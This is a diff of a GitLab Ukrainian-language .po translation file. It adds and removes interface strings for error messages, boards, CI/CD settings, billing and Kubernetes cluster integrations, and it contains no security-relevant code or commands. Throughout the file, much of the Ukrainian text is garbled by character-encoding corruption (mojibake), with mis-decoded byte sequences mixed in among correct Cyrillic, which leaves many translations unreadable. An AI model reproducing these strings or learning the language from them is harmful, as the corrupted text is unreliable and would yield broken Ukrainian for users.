msgstr "Ð†Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ Ð· Amazon EKS дозволÑÑ” Ñтворювати клаÑтери EKS із GitLab."
-msgid "Amazon Web Services"
-msgstr "Amazon Web Services"
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3674,9 +3707,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr "Виникла помилка під Ñ‡Ð°Ñ Ð·Ð¼Ñ–Ð½Ð¸ підпиÑки на ÑповіщеннÑ"
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr "Збій під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð²Ð°Ð³Ð¸ задачі"
@@ -3728,6 +3758,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ ÑƒÐ²Ñ–Ð¼ÐºÐ½ÐµÐ½Ð½Ñ Ð¡Ð»ÑƒÐ¶Ð±Ð¸ підтримки."
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3818,6 +3851,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при отриманні файлів Ð´Ð»Ñ - %{branchId}"
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при отриманні проєктів"
@@ -3924,7 +3960,7 @@ msgid "An error occurred while reordering issues."
msgstr "Помилка при зміні порÑдку задач."
msgid "An error occurred while requesting data from the Jira service."
-msgstr ""
+msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при отриманні даних з ÑервіÑу Jira."
msgid "An error occurred while retrieving calendar activity"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при отриманні ÐºÐ°Ð»ÐµÐ½Ð´Ð°Ñ€Ñ Ð°ÐºÑ‚Ð¸Ð²Ð½Ð¾ÑÑ‚Ñ–"
@@ -3974,9 +4010,6 @@ msgstr "Під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ ÐºÐ¾Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ñ ÑталаÑÑ Ð¿Ð¾Ð
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -3993,10 +4026,10 @@ msgid "An error occurred. Please try again."
msgstr "СталаÑÑŒ помилка. Спробуйте ще раз."
msgid "An example project for managing Kubernetes clusters integrated with GitLab"
-msgstr ""
+msgstr "Приклад проєкту Ð´Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ ÐºÐ»Ð°Ñтерами Kubernetes, інтегрованими з GitLab"
msgid "An example project that shows off the best practices for setting up GitLab for your own organization, including sample issues, merge requests, and milestones"
-msgstr ""
+msgstr "Приклад проєкту, Ñкий показує найкращий доÑвід Ð´Ð»Ñ Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ GitLab Ð´Ð»Ñ Ð²Ð°ÑˆÐ¾Ñ— влаÑної організації, включаючи приклади задач, запити на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ‚Ð° етапи"
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
@@ -4253,9 +4286,6 @@ msgstr "ЗаÑтоÑувати мітку"
msgid "Apply a template"
msgstr "ЗаÑтоÑувати шаблон"
-msgid "Apply changes"
-msgstr "ЗаÑтоÑувати зміни"
-
msgid "Apply suggestion"
msgstr "ЗаÑтоÑувати пропозицію"
@@ -4353,15 +4383,9 @@ msgstr "Ім'Ñ"
msgid "ApprovalRule|Rule name"
msgstr "Ð†Ð¼â€™Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»Ð°"
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr "Цільова гілка"
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4751,9 +4775,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr "Потрібне щонайменше одне Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ñ–Ð´ влаÑника коду Ð´Ð»Ñ Ð·Ð¼Ñ–Ð½Ð¸ файлів, що задовільнÑÑŽÑ‚ÑŒ відповідним правилам CODEOWNER."
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr "Треба зазначити принаймні group_id або project_id"
@@ -4944,9 +4965,6 @@ msgstr "Auto DevOps"
msgid "Auto DevOps enabled"
msgstr "Auto DevOps увімкнено"
-msgid "Auto DevOps, runners and job artifacts"
-msgstr "Auto DevOps, runner'и і артефакти завдань"
-
msgid "Auto stop successfully canceled."
msgstr "Ðвтозупинка уÑпішно ÑкаÑована."
@@ -5334,6 +5352,9 @@ msgstr "Підвищити"
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5480,6 +5501,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5541,6 +5565,9 @@ msgstr "Розгорнути"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5571,6 +5598,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr "Введіть ім'Ñ Ð´Ð¾ÑˆÐºÐ¸"
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5793,6 +5823,9 @@ msgstr "ПереглÑнути артефакти"
msgid "Browse files"
msgstr "ПереглÑд файлів"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr "Помилка при отриманні артефактів"
@@ -5961,6 +5994,9 @@ msgstr "УвеÑÑŒ чаÑ"
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -6010,11 +6046,11 @@ msgstr "Ð¡Ñ‚Ñ€Ð°Ñ‚ÐµÐ³Ñ–Ñ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ"
msgid "CICD|Jobs"
msgstr "ЗавданнÑ"
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
-msgstr "Конвеєр Auto DevOps буде запущено, Ñкщо не буде знайдено альтернативного файлу конфігуріції CI."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgstr ""
msgid "CICD|group enabled"
msgstr "група увімкнена"
@@ -6058,6 +6094,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr "URL зворотнього виклику"
@@ -6181,9 +6220,6 @@ msgstr "Ðеможливо Ñтворити звіт про зловживанн
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6289,15 +6325,15 @@ msgstr "Змінити етап"
msgid "Change path"
msgstr "Змінити шлÑÑ…"
-msgid "Change permissions"
-msgstr "Змінити права доÑтупу"
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr "Змінити ÑтатуÑ"
@@ -6574,6 +6610,9 @@ msgstr "Помилка при завантаженні країн. Будь ла
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr "Ðе вдалоÑÑ Ð·Ð°Ñ€ÐµÑ”Ñтрувати кредитну картку. Будь лаÑка, Ñпробуйте ще раз."
@@ -6676,9 +6715,6 @@ msgstr "Виберіть файл"
msgid "Choose a group"
msgstr "Вибрати групу"
-msgid "Choose a role permission"
-msgstr "Вибрати роль"
-
msgid "Choose a template"
msgstr "Виберіть шаблон"
@@ -6706,6 +6742,9 @@ msgstr "Оберіть мітки"
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "Оберіть групу найвищого Ñ€Ñ–Ð²Ð½Ñ Ð´Ð»Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚Ñƒ репозиторіїв."
@@ -7135,9 +7174,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7147,24 +7183,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr "%{appList} були уÑпішно вÑтановлені на ваш Kubernetes-клаÑтер"
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr "%{title} уÑпішно видалено."
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr "%{title} уÑпішно оновлено."
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -7198,15 +7222,6 @@ msgstr "Ð”Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ñ–Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ— надаÑÑ‚ÑŒ доÑтуп до
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr "УÑÑ– дані, не передані в GitLab, будуть видалені та не можуть бути відновлені."
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr "Ð’ÑÑ– дані буде видалено Ñ– вони не зможуть бути відновлені."
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7219,9 +7234,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr "Amazon EKS"
@@ -7243,9 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr "УÑÑ– запущені конвеєри буде зупинено."
-
msgid "ClusterIntegration|Apply for credit"
msgstr "ЗаÑтоÑувати кредит"
@@ -7264,15 +7273,6 @@ msgstr "ОÑновний домен"
msgid "ClusterIntegration|CA Certificate"
msgstr "Сертифікат центру Ñертифікації"
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr "Cert-Manager"
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr "Ðабір Ñертифікатів (формат PEM)"
@@ -7294,9 +7294,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Виберіть, Ñке із ваших Ñередовищ буде викориÑтовувати цей клаÑтер."
@@ -7309,15 +7306,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
-msgstr "Проєкт ÑƒÐ¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ ÐºÐ»Ð°Ñтером (альфа)"
+msgid "ClusterIntegration|Cluster management project"
+msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr "Ім'Ñ ÐºÐ»Ð°Ñтера Ñ” обов'Ñзковим."
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7339,15 +7333,6 @@ msgstr "Скопіювати API URL"
msgid "ClusterIntegration|Copy CA Certificate"
msgstr "Скопіювати Ñертифікат центру Ñертифікації"
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr "Скопіювати кінцеву точку Ingress"
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr "Скопіювати Ñ–Ð¼â€™Ñ Ñ…Ð¾Ñта Jupyter"
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr "Скопіювати кінцеву точку Knative"
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr "Скопіювати Ñ–Ð¼â€™Ñ Kubernetes-клаÑтера"
@@ -7396,12 +7381,6 @@ msgstr "Створити новий клаÑтер на GKE"
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr "Ð¡Ñ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Kubernetes-клаÑтера"
-msgid "ClusterIntegration|Crossplane"
-msgstr "Crossplane"
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7417,9 +7396,6 @@ msgstr "Чи знаєте ви?"
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr "Стек Elastc"
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7435,9 +7411,6 @@ msgstr "Увімкніть або вимкніть Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ GitLab
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr "Увімкніть цей параметр, Ñкщо викориÑтовуєтьÑÑ Ñ€Ð¾Ð»ÑŒÐ¾Ð²Ðµ ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð´Ð¾Ñтупом (RBAC)."
-msgid "ClusterIntegration|Enabled stack"
-msgstr "Увімкнений Ñтек"
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7480,27 +7453,12 @@ msgstr "ÐžÑ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñ–Ð²"
msgid "ClusterIntegration|Fetching zones"
msgstr "ÐžÑ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð·Ð¾Ð½"
-msgid "ClusterIntegration|Fluentd"
-msgstr "Fluentd"
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Ð†Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ Ð· GitLab"
-msgid "ClusterIntegration|GitLab Runner"
-msgstr "GitLab Runner"
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr "Runner Gitlab з’єднуєтьÑÑ Ñ–Ð· репозиторієм та запуÑкає Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ CI/CD, повертаючи результати та розгортаючи заÑтоÑунки в production."
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7528,9 +7486,6 @@ msgstr "КлаÑтер групи"
msgid "ClusterIntegration|HTTP Error"
msgstr "Помилка HTTP"
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "Якщо ви налаштовуєте декілька клаÑтерів Ñ– викориÑтовуєте Auto DevOps, %{help_link_start}прочитайте Ð´Ð»Ñ Ð¿Ð¾Ñ‡Ð°Ñ‚ÐºÑƒ це%{help_link_end}."
@@ -7540,18 +7495,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr "Ingress"
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr "Кінцева точка Ingress"
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr "Ingress дозволÑÑ” вам маршрутизувати запити до Ñлужб на оÑнові запитаного хоÑта або шлÑху, об'єднуючи Ñ€Ñд ÑервіÑів в одну точку входу."
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr "КлаÑтер інÑтанÑу"
@@ -7573,39 +7516,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr "Електронна пошта емітента"
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr "Ð†Ð¼â€™Ñ Ñ…Ð¾Ñта Jupyter"
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr "JupyterHub"
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr "JupyterHub, багатокориÑтувацький Хаб, Ñкий Ñтворює, керує Ñ– перенаправлÑÑ” запити між багатьма екземплÑрами однокориÑтувацьких Ñерверів Jupyter. JupyterHub може викориÑтовуватиÑÑ Ð´Ð»Ñ Ð¾Ð±ÑÐ»ÑƒÐ³Ð¾Ð²ÑƒÐ²Ð°Ð½Ð½Ñ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¸Ñ… блокнотів групи Ñтудентів, корпоративної групи аналітиків даних, науково-доÑлідницької групи."
-
msgid "ClusterIntegration|Key pair name"
msgstr "Ðазва пари ключів"
-msgid "ClusterIntegration|Knative"
-msgstr "Knative"
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr "Доменне ім'Ñ Knative:"
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr "Кінцева точка Knative:"
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr "Доменне Ñ–Ð¼â€™Ñ Knative уÑпішно оновлено."
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr "Knative розширює Kubernetes, щоб забезпечити набір middleware-компонентів, необхідних Ð´Ð»Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ ÑучаÑних, source-centric заÑтоÑунків на оÑнові контейнерів, Ñкі можна запуÑкати в будь-Ñкому міÑці: локально, у хмарі, Ñ– навіть в Ñторонніх дата-центрах."
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr "СтворюєтьÑÑ ÐºÐ»Ð°Ñтер Kubernetes..."
@@ -7639,9 +7552,6 @@ msgstr "ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про групові клаÑтери
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr "ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про клаÑтери Kubernetes інÑтанÑу"
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ€Ð¾Ð»ÐµÐ¹ IAM"
@@ -7690,12 +7600,6 @@ msgstr "Ðе знайдено пар ключів"
msgid "ClusterIntegration|No VPCs found"
msgstr "Ðе знайдено VPC"
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr "Ðе знайдено жодного типу інÑтанÑу"
@@ -7738,9 +7642,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "Будь-лаÑка впевнітьÑÑ, що ваш обліковий Ð·Ð°Ð¿Ð¸Ñ Google задовольнÑÑ” наÑтупним вимогам:"
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr "Ðаправте ваш DNS на цю згенеровану кінцеву точку, щоб отримати доÑтуп до вашого заÑтоÑунку, піÑÐ»Ñ Ð¹Ð¾Ð³Ð¾ розгортаннÑ."
-
msgid "ClusterIntegration|Project cluster"
msgstr "КлаÑтер проєкту"
@@ -7750,15 +7651,6 @@ msgstr "ПроÑÑ‚Ñ–Ñ€ імен проєкту (не обов’Ñзковий,
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr "ÐŸÑ€ÐµÑ„Ñ–ÐºÑ Ð¿Ñ€Ð¾Ñтору імен проєкту (не обов’Ñзковий, унікальний)"
-msgid "ClusterIntegration|Prometheus"
-msgstr "Prometheus"
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7795,24 +7687,6 @@ msgstr "Видалити конфігурацію Kubernetes-клаÑтера д
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr "ВидалÑÑ” клаÑтер із проєкту, але зберігає пов'Ñзані реÑурÑи"
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr "При бажанні ви можете замінити це на ваше влаÑне ім'Ñ Ñ…Ð¾Ñта. Якщо ви це зробите, ÑпрÑмуйте ім'Ñ Ñ…Ð¾Ñта на IP-адреÑу Ingress зверху."
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr "Запит про початок вÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð½Ðµ виконано"
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr "Запит про початок Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð½Ðµ виконано"
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr "Ð†Ð¼â€™Ñ Ñ…Ð¾Ñта SIEM"
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr "SIEM порт"
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr "Протокол SIEM"
-
msgid "ClusterIntegration|Save changes"
msgstr "Зберегти зміни"
@@ -7825,9 +7699,6 @@ msgstr "Пошук пар ключів"
msgid "ClusterIntegration|Search VPCs"
msgstr "Пошук VPC"
-msgid "ClusterIntegration|Search domains"
-msgstr "Пошук доменів"
-
msgid "ClusterIntegration|Search instance types"
msgstr "Пошуки типів інÑтанÑів"
@@ -7876,15 +7747,9 @@ msgstr "Виберіть регіон Ð´Ð»Ñ Ð²Ð¸Ð±Ð¾Ñ€Ñƒ пари ключів"
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr "Виберіть регіон Ð´Ð»Ñ Ð²Ð¸Ð±Ð¾Ñ€Ñƒ VPC"
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr "Виберіть Ñтек Ð´Ð»Ñ Ð²ÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Crossplane."
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr "Виберіть зону Ð´Ð»Ñ Ð²Ð¸Ð±Ð¾Ñ€Ñƒ мережі"
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr "Виберіть Ñ–Ñнуючий домен або викориÑтайте новий"
-
msgid "ClusterIntegration|Select machine type"
msgstr "Вибрати тип машин"
@@ -7909,9 +7774,6 @@ msgstr "Вибрати зону"
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr "Виберіть зону, щоб вибрати тип машин"
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr "Токен СервіÑа"
@@ -7930,27 +7792,12 @@ msgstr "ЩоÑÑŒ пішло не так з нашого боку."
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr "ЩоÑÑŒ пішло не так під Ñ‡Ð°Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ клаÑтера Kubernetes"
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr "Під Ñ‡Ð°Ñ Ð²ÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ %{title} ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°"
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr "ЩоÑÑŒ пішло не так під Ñ‡Ð°Ñ Ñпроби зберегти ваші налаштуваннÑ. Будь лаÑка, Ñпробуйте ще раз."
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr "Під Ñ‡Ð°Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ %{title} ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°"
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr "Помилка під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð´Ð¾Ð¼ÐµÐ½Ð½Ð¾Ð³Ð¾ імені Knative."
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr "Підмережі"
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
